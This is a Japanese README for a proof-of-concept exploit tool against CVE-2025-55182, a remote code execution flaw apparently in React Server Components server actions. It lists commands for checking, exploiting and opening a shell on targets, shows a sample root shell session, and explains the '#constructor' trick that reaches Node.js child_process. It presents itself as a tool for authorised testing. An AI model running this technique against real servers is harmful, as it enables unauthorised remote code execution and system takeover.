
CVE-2025-55182 の Poc
CVE-2025-55182 の PoC
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。事前に相互の同意なしにターゲットへの攻撃にこのツールを使用することは違法です。開発者は一切の責任を負わず、本プログラムによって引き起こされた誤用や損害についても責任を負いません。
pip install requests
このツールは、Check(チェック)、Exploit(エクスプロイト)、Interactive Shell(対話型シェル)の3つのモードで実行できます。
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
Check(チェック): インデックス1で {} を定義するマルチパートリクエストを送信し、["$1🅰️a"] へのアクセスを試みます。パッチ適用前のサーバーは、undefined のプロパティ a にアクセスしようとしてクラッシュします(HTTP 500)。パッチ適用済みのサーバーは HTTP 200 を返します。
Exploit(エクスプロイト): 有効なAction IDを参照するマルチパートリクエストを送信しますが、#constructor を追加します。これにより、シリアライザーが Function コンストラクタを返すように仕向け、サーバー上で実行される任意のJavaScript(Node.js child_process)を渡すことができます。